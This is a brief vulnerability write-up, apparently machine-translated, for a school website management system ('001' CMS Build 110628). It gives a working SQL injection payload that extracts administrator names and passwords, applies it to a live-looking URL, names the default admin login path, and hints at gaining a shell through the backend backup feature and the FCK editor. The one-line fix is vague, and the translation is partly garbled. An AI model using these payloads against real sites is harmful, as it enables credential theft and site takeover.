No. 001 website management system Build 110628 injection vulnerability and repair

Software Introduction

Function module:
1. Administrator information: Basic website information settings (principal email, etc.), database backup, user management, department and permission management, etc.
2. School profile: Level 1 classification. You can add a campus profile, give a speech by the leaders, and contact us... And other information
3. Article management: second-level classification, dynamic addition of relevant channels (excluding picture and video channels and school profile channels), articles, and other information
4. Video Image Management: level-1 classification, dynamic addition of video or image information
5. Manage messages: Manage messages, modify, delete, and reply
6. alumni channel: includes functions such as exporting and managing alumni data in excel.
7. Link Management: Level-2 classification. Different types of links can be created and displayed on the homepage.

Default background: admin/login. asp

Official Demo: http://demo.001cms.net

Source code: http://www.bkjia.com/ym/201106/28294.html

EXP:
Union select 1, 2, 3, a_name, 5, 6, a_pass, 8, 9, 10, 11 from admin

Test: http://www.bkjia.com/shownews.asp? Type = News & stype = school affairs public & id = 484 union select 1, 2, 3, a_name, 5, 6, a_pass, 8, 9, 10, 11 from admin

Getshell: There are backups in the background, you know

In addition, the FCK editor can be used in several ways. You can mine it on your own. As there are many related content, I won't talk about it here.

By Mr. DzY
From www.0855. TV

Fix: filter data input, fix fck, or change the browser